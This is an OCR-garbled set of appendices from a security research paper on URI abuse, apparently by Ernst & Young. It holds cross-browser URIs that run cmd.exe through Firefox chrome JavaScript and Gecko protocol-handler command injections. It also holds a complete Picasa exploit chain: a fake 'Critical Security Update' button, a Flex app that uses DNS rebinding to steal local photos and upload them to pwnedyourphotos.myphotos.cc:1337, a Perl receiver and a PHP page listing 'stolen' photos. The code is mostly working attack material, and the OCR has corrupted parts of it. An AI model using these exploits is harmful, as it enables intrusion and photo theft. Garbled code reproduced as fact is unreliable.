YmxIPJwvZm9ybT48Yn 1+PGJIyPjxmb250 IHNpemUILTE+PGEgaHJ 1 Zj 1qYXZhc2NyaXBOOmFSZXJOKGR
vY3VtZW50LmNvb2tpZSk7PkFkdmVydGlzaW5nJm5 i c3A7UHIVZ3IhbXM8L2E+1COgPGEgaHJ1Zj1qYX
Zhc2NyaXBOOmMFSZXJOKGRVY3VtZW50LmNvb2tpZSk7PkJ1c2luZXNz Il FNvbHVOaW9uczwvYT4gLSA8Y
SBocmVmPWphdmFzY3JpcHQ6YWx1cnQoZG9jdWl1bnQuY29va2 l IKTs+QWJIvdXQgR29vZ2xIPCOhPjxz
CGFulGIKPWhwIHNOeWx 1PVwiYmVoYXZpb316dXJIsKCNKZWZhdWx0 1 2hvbWvwYWd IKVwiPjwvc3Bhbj4
8c2NyaXBOP jwhLSONCihmdW5jdGlvbigp IHt2YX1gYT1cImhOdHA6LY93d3cuz29vzZ2x ILmNvbS9cl i
XTPWRvY3VtZW50LmdIdEVsZW1IbnRCeUlkKFwiaHBcl iksYz1iLmlzSG9tZVBhZ2UoYSk7X3JIwdEhwP
WZ1bmNOaWwOuKC17KG5 1dyBIbWFnZSkuc3JjPVwiL2d1b18yMDQ/c2E9WCZjdD1tZ31ocCZjZD1cliso
Y i5pcOhvbWVwYWd IKGEpPzEGMC 1902 ImKCF j KXtkb2N1bWVudC53cml0ZShcJzxwP jxh IGhyZWY9amF
2YXNjcmIwdDphbGVydChkb2N1bWVudC5 jb29raWUpOyBvbkNsaWNrPWRvY3VtZW50Lmd IdEVsZW1lbn
RCeUlkKFwiaHBc 1 i kuc2V0SG9tZXBhz2UoXCJIcJythK1wnXCIp019ycHRIcCgpOz5NYWtl IEdvb2dsZ
SBZb3Vy 1 EhvbWVwYWd 1 1 TwvYT5¢cJy 19030pKCK7Ly8tLTANC jwvc2NyaXBOP jwvZm9udD48cD48Zm9u
dCBzaXpIPSOyPiZjb3B50z IwMDcgR29vZ2x1PCOmb250P jwvcD48c3R5bGU+ 121 1dGI7YmVoYXZpb3l
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6dXJISKCNKZWZhdWx0 1 3VzZXJEYXRhKTtkaXNwbGF50m5vbmU7dGV4dC1hbGInbjpjZW50ZX17d21kdG
g6MjUwcHg7cG9zaXRpb246YWJIzb2x1dGU7dGOw0 j JweDtyaWdodDoycHg7Ym9yZGVyO0 jFweCBzb2xpZ
CAJNJU2NTY102ZvbnQtd2VpZ2h00mJIvbGQ7YmFja2dyb3VuzDojZmZmO3BhZGRpbmc6MXB41DAgNHB4
IDRweDtmb250LWZhbWIlseTphcmlhbHO8L3NOeWx 1P jxkaXYgawQ9awVvoY j48c3BhbiBpZD1 jbhG9zZT4
8YSBocmVmPWphdmFzY3JpcHQ6YWx1cnQoZG9jdWllbnQuY29va2l IKTsgh25jbGljazlcinJldHVybi
BFY2x0YnAoKVwiPjxpbWcgc3JjPWhOdHAGLY93d3cuz29vZ2x ILmNvbhSOpbWFnNZXMvY2xvc2Vfc20uZ
2ImIHdpZHROPTEyY IGhlaWdodDOxMiBib3JkZX19MCBhbGInbjlyaWdodCBzdHIsZT1cInBhZGRpbmc6
MnB4XCI1+PCOhPjwvc3Bhbj48Yn1+PHAgC3R5bGUIbWFYZ2 1uLXRvCDOXNXB40O3R1eHQtYWXpZ246Y2V
udGVy02ZvbnQtd2VpzZ2h00mJIvbGQ+PGZvbnQgc216ZTOtMT5HZXQQYSBHb29nbGUtZW50YW5 jZWQgc2
VhcmNo 1GIveDwvZm9udD48L3A+PG I tZyBzcmM9aHROcDovL3d3dy5nb29nbGUuY29tL2 1udGwvZWAtR
OlvaWlhz2VzL3Rvb2xiYXJFc20ucG5nPjxicj48awswdXQgdHIwZT1idXR0b24gc3R5bGUIbWFyZ21u
LXRvcDoxMnB4 I1HZhbHVIPVwiRGI3bmxvYWQQR29vZ2x 1 IFRvb2xiYXJcl iBvbkNsaWNrPV9kd250YnA
OKTs+PGZvbnQgc216ZT0tMz48Yn1+PGJyP jwvZm9udD48L2Rpd j48c2NyaXBOPndpbmRvdy5fc2v0dG
JwPWZ1bmNOaW9uKCl7aWyYozG9jdWwllbnQpe3ZhciBhPWRvY3VtZW50Lmd IdEVsZW1lbnRCeUlkKFwia
WVOY Iwi KTthLmxvYWQoXCJJc09uSuU3dGJIQcm9tblwiKTtpZihhLmd ldEFOdHJIpYNV0ZShcImRpc3Bs
YXIclik9PW51bGwpe2Euc3R5bGUUZGIzcGxheT1lcImIsb2NrXC17KG51dyBIbWFNnZSkuc3JjPVwilL2d
1b18yMDQ/b2k9cHIVbWIZX3ZpcyZjYWQ9aHBwd2ViaWu3dG 16ZWAtRO ImYXR5¢cD1pXCI9FX07d21uZG
93L19jbHRicDImdW5jdGIvbigpe2 ImKGRVY3VEZW50KXt2YX1gYT1kb2N1bWVudC5nZXRFbGVEZW50Q
n1JZChcIml1dGJc 1 ik7YS5zZXRBdHRyaWJ1dGUoXCIkaXNwbhGF5XC1sXCIub251XCI1pO02Euc2F2ZShc
1k1zT25JRTdOY I1Byb21vXC1p02Euc3R5bGUUZGIzcGxheTlcIm5vbmVel jsobmV3IEItYWd IKS5zcmM
9XCIvZ2VuXzIwND9vaT1lwcm9tb3MmY3Q9cmVtb3Z1ImNhZD1ocHB3ZWIpZTdOYjplbi1HQiZzYT1YXC
17cmVOdXJulGZhbHNIFX07d21uZG93L19kd250YNA9ZnVuY3Rpb240oKXtpZihkb2N1bWVudC17KG51d
yBIbWFnZSkuc3JjPVwilL2dIb18yMDQ/b2k9cHIVvbWIzImMNOPWRvdA25sb2FkImNhZD10ocHB3ZWJIpZTdO
Yjplbi1HQiZzYTL1YXCI7ZG9jdW1lbnQubG9jYXRpb249XCIvdGOvbGIhci9pbnRsL2VuLUdCL3dIYml
uc3RhbGwuaHRtbCNOYmMJIyYW5kPUdaSFKkmdXREX3NvAXJjZT1lbi1HQi1ocHAtaWU3InVObVOtZWRpdW
09aHBwJINVObVOjYWIwYWInbj11bi1HQIwi FXO7X3NIdHRicCgpOzwvc2NyaXBOP jwvY2VudGVyPjwvY
m9keT48L2h0bWw+
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Appendix H— Cross Browser Scripting URLS

firefoxurl:test” -chrome
""javascript:C=Components.classes; 1=Components. interfaces;file=C["@mozilla.org/f
ile/local;1"].createlnstance(l.nslLocalFile);file.initWithPath("C:"+String.from
CharCode(92)+String.fromCharCode(92)+"Windows"+String.fromCharCode(92)+String.f
romCharCode(92)+"System32"+String.fromCharCode(92)+String.fromCharCode(92)+"cmd
.exe");process=C["@mozilla.org/process/util;1"].createlnstance(l.nslProcess);pr
ocess.init(file);process.run(true®%252c{}%252c0);alert(process)

navigatorurl:test" -chrome
""javascript:C=Components.classes; 1=Components. interfaces;file=C["@mozilla.org/f
ile/local;l1"].createlnstance(l.nslLocalFile);file.initWithPath("C:"+String.from
CharCode(92)+String.fromCharCode(92)+"Windows"+String.fromCharCode(92)+String.f
romCharCode(92)+"System32"+String.fromCharCode(92)+String.fromCharCode(92)+"cmd
.exe");process=C["@mozilla.org/process/util;1"].createlnstance(l.nslProcess);pr
ocess.init(file);process.run(true®%252c{}%252c0);alert(process)
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Appendix | — Gecko Based Browsers Command
Injections

mailto:-%00%00../../../../../._/windows/system32/cmd" .

S S/ /. /. /.. /windows/system32/calc.exe " - blah bat
nntp:%00%00../../../../../._./windows/system32/cmd" .exe
S S S/ /. /. /windows/system32/calc.exe " - ' blah.bat
news:%00%00../../../../../._./windows/system32/cmd" .exe
S S S/ /. /. /windows/system32/calc.exe " - ' blah.bat
snews:%00%00../../../../../._/windows/system32/cmd" .exe
S S S/ /. /. /windows/system32/calc.exe " - ' blah.bat
telnet:%00%00..7/..7/../../../. . /windows/system32/cmd" .exe
S-S S S/ /. /. /windows/system32/calc.exe " - ' blah_bat
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Appendix J — Button.pbf Code For Picasa Exploitation

<?xml version="1.0" encoding="utf-8" 7>
<buttons format="1" version="1">
<button id="custombutton/blah”™ type="dynamic'>
<icon name="outputlayout/poster_icon" src="runtime'/>
<label>Critical Security Update</label>
<tooltip>
Click Here to get a Critical Security Update for Picasal
</tooltip>
<action verb="hybrid">
<param name="url" value="http://xs-sniper.com/pwn._py"/>
</action>
</button>

</buttons>
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Appendix K — Pwn.py Code For Picasa Exploitation

#1/usr.
import
import
import
import
import
import

from x

/bin/python
os
sys
cgi
cgitb
base64
Cookie

ml.dom import minidom

cgitb_enable();

def get_xml(nodelist):

rc =
for node in nodelist:

print node.data

iT node.nodeType == node.TEXT_NODE:

rc = rc + node.data

return rc

form = cgi.FieldStorage()

rss = ""

uris = """

output = ""*<html>

<body>"""*

ifT os.environ["REQUEST_METHOD'] == "POST":

if form_has_key("rss"):

rss

dom

rss

form["rss™]

minidom.parseString(rss.value)

dom.getElementsByTagName("rss*)[0]

channel = rss.getElementsByTagName("channel*)[0]

photo_list = []

for item in channel.getElementsByTagName("item®):

title_txt

item.getElementsByTagName("title")[0]-childNodes[0] -data

img_url =

item.getElementsByTagName("photo:imgsrc®)[0].-childNodes[0] -data

img_url =

img_url_replace(*'localhost", "natemcfeters.com');

uris += img_url + ","
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else:

rss = "oh noz"

output += "<script>window. location = "flex/PicasaFlex_html?urls=" + uris + "";</script>"

output += """</body>
</html>""*

print “"Content-Type: text/htmI\n\n*
#print rss

print output
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Appendix L — PicasaFlex.mxml| Code For Picasa
Exploitation

<?xml version="1.0" encoding="utf-8"?>

<mx:Application xmIns:mx="http://www.adobe.com/2006/mxml" horizontalAlign="center"
currentState="s1" backgroundColor="#FFFFFF"'>

<mx:states>
<mx:State name="sl1'>
<l--app initialization event-->
<mx:SetEventHandler name="applicationComplete" handler="initQ" />
</mx:State>
</mx:states>

<mx:Label fontWeight="bold" text="Please wait while your Critical Updates for
Picasa are downloaded" />

<mx:ProgressBar id="pbar" labelPlacement="bottom" minimum="0" maximum="100"
visible="true" direction="right" themeColor="#F20D7A" mode="manual® label="Initializing
downloads..." />

<mx:Label text=""" />
<mx:Panel title="Picasa Pwn" width="400" height=""300" visible="false">
<mx:Text id="output" text="Click to Begin" visible="false" />
</mx:Panel>
<mx:Script>
<I[CDATAL
import mx.events. IndexChangedEvent;
import flash.net.*;

import flash.display.*;

private var docURL:String = Externallnterface.call(“eval®, "document.location._href");
private var urlStr:String = ""';

private var imgData:ByteArray;

private var sock:Socket;

private var host:String = "pwnedyourphotos.myphotos.cc";

private var port:int = 1337;

private var timer:Timer;

private var delay:Number = 66000;

private var imgs:Array;

private var j:int = 0;

private var u:Array;

1]
o

private var progress:int

private var dloadNum:int 1;

private function pwn():void {
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iTg < u.length) {
itC™ 1= uliD {
//write(ujD);
//write("'requesting image from localhost™);
u[J] = strReplace(u[j], "natemcfeters.com’, "natemcfeters.com.™);
var urlReq:URLRequest = new URLRequest(u[jl);
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader .addEventListener(Event.COMPLETE, doEvent);
urlLoader.addEventListener(Event.OPEN, doEvent);
urlLoader .addEventListener (HTTPStatusEvent _HTTP_STATUS, doEvent);
urlLoader .addEventListener(10ErrorEvent. 10_ERROR, doEvent);
urlLoader .addEventListener(ProgressEvent.PROGRESS, doEvent);

urlLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,
doEvent);

write('Making request for " + u[j]);

urlLoader.load(urlReq);

J++;

private function forceRebind():void {
write("forcing dns rebind...");
var urlReq:URLRequest = new URLRequest(u[0]);
var urlLoader:URLLoader = new URLLoader();
urlLoader.addEventListener(10ErrorEvent. 10_ERROR, rebindEvent);
urlLoader.load(urlReq);

private function rebindEvent(e:Event):void {
write("rebind complete!™);
var urlLoader:URLLoader = e.currentTarget as URLLoader;
urlLoader.close();
urlLoader = null;
pwn();
//var interval:uint = setTimeout(pwn, 120000);

private function init():void {

var interval:uint = setTimeout(incrementProgressBar, 2000);

Ernst & Young's Advanced Security Center — URI Use and Abuse
49



//incrementProgressBar();

getParameters();

u = urlstr.split(',"™);

var counter:int = 0;

//forceRebind();

var interval2:uint = setTimeout(pwn, 30000);

private function incrementProgressBar():void {
if(progress <= 100) {

pbar .setProgress(progress, 100);

y pbar.label = "Progress for download " + dloadNum + " is " + progress +
"%
progress += 5;
}
if(progress > 100) {
progress = 0;
dloadNum++;
}
var interval:uint;
if(progress == 0) {
interval = setTimeout(incrementProgressBar, 5);
} else {
interval = setTimeout(incrementProgressBar, 800);
}
3

private function doEvent(e:Event):void {
switch(e.type) {
case Event.COMPLETE:

var urlLoader:URLLoader = e.currentTarget as URLLoader;

if(urlLoader._dataFormat == URLLoaderDataFormat.BINARY) {
write(""filesize in bytes: " + urlLoader._bytesTotal);
imgData = urlLoader.data;
postimageData(imgData);

urlLoader.data = null;
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urlLoader.close();
urlLoader = null;
} else {
write("'not in binary form™);
}
break;
case I0ErrorEvent.10_ERROR:
write('could not download file: " + u[jl);

break;

private function postlmageData(s:ByteArray):void {
write('grabbing cross domain policy");
Security.loadPolicyFile(*"'http://pwnedyourphotos.myphotos.cc/crossdomain.xml™);
write("'DONE grabbing cross domain policy");
write("uploading stolen image " + u[j1);

var intervalld:uint = setTimeout(uploadlmages, 2000);

private function uploadlmages():void {
sock = new Socket();
sock.addEventListener(Event.CONNECT, onSockEvent);
sock.addEventListener(ProgressEvent.SOCKET_DATA, onReceive);
sock.addEventListener (10ErrorEvent.10_ERROR, onSockEvent);
sock.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onSockEvent);

sock.connect(host, port);

private function onSockEvent(e:Event):void {
var ns:Socket = e.currentTarget as Socket;

write("onsockevent™);

switch(e.type) {
case Event.CONNECT:
ns.writeBytes(imgData, 0, imgData.length);
ns.flush(Q);
write("image upload complete!\n\n");
ns.close();

pwnQ;
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break;
default:

write(error uploading image to server');

private function onReceive(e:Event):void {
var ns:Socket = e.currentTarget as Socket;
var len:int = ns.bytesAvailable;
write('onreceive™);
if(len > 0) {
var s:String = ns.readUTFBytes(len);

write(s);

private function write(m:Object):void {
var msg:String = m.toString();
output.text = output.text + "\n" + msg;

private function getParameters():void {
var paramsFull:String = docURL.split("?")[1];
if(null !'= paramsFull) {
var paramsArr:Array = paramsFull_split("&");
for(var j:int = 0; j < paramsArr.length; j++) {
var pair:Array = paramsArr[j].split("=");
if(pair[0] == “urls®) {
urlStr = pair[1];

private function strReplace(haystack:String, needle:String, replacement:String):String {
var temp:Array = haystack.split(needle);
return temp.join(replacement);

¥

11>

</mx:Script>
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</mx:Application>
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Appendix M — PicasaFlex.mxml| Code For Picasa
Exploitation

<?xml version="1.0"7?>
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />

</cross-domain-policy>
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Appendix N — Pwn.pl Code For Picasa Exploitation
#1/usr/bin/perl
use 10::Socket;

use Getopt::Std;

sub start_server {
my ($port, $proto, $MAXLEN) = (shift, shift, 4096);
my ($i, $file_type) = (0, “ipg™);

my $sock = 10::Socket::INET->new( Proto => $proto,
LocalPort => $port,
Listen => SOMAXCONN,
Reuse => 1);

die "couldn™t start up server: $!" unless $sock;
print "started server on port $port:\n\n";

while(my $client = $sock->accept()) {
$file_type = "jpg";
print "connected from "_$client->peerhost()."\n";
my $request = ""';
my $t = <$client>;
while($t ne ") {
if($t =~ /*RIFF/) {
$file_type = "avi'';
3
$request .= $t;
$t = <$client>;
b

$request .= $t;

my $dir = "stolen/".$client->peerhost();
if(1(-d $dir)) {

my $cmd = "mkdir ".$dir;

“$cmd”;
b

open(IMGFILE, ">"_.$dir."/".$i.".".$File_type) || print "can"t open file
$dir/si.".$file_type;

print IMGFILE $request;
close(IMGFILE);
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print "wrote file "_.$dir."/" $i."."_$File_type.'"\n";

$i++;

%options = );
getopts('p:d:*, \%options);

my ($port, $dir) = ("1337", "images/");

if($options{p}) {

$port = Soptions{p};
b
if($options{d}) {

$dir = $options{d};

start_server($port, 'tcp');
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Appendix O — Admin.php Code For Picasa Exploitation
<?php
$output = ";
iT($_CET["mode"] == “"viewdir") {
$dir = $_GET["dir"];
if($dh = opendir(stolen/$sdir™)) {
while(($file = readdir($dh)) !== false) {

if($file 1= """ && $File 1= "_ ") {
$output .= "<li><a
href="stolen/$dir/$file">$file</a></1i>";
¥
b
} else {
echo "failed to open dir stolen/$dir";
}
} else {

if($dh = opendir(“stolen™)) {
while(($file = readdir($dh)) !== false) {
if(is_dir("stolen/"_$file) && $file 1= "_." && $File 1= "_.") {

$output .= "<li><a
href="admin.php?mode=viewdir&dir=$file">$file</a></1i>";

}

}
if(empty($output)) {

$output = "<li>No stolen photos uploaded yet</li>";

}

?>

<html>

<head>

<title>Picasa Pwnage</title>
</head>

<body>

<h1>Pwned Photos</h1>
<ul>

<?=$output?>

</ul>

</body>

</html>
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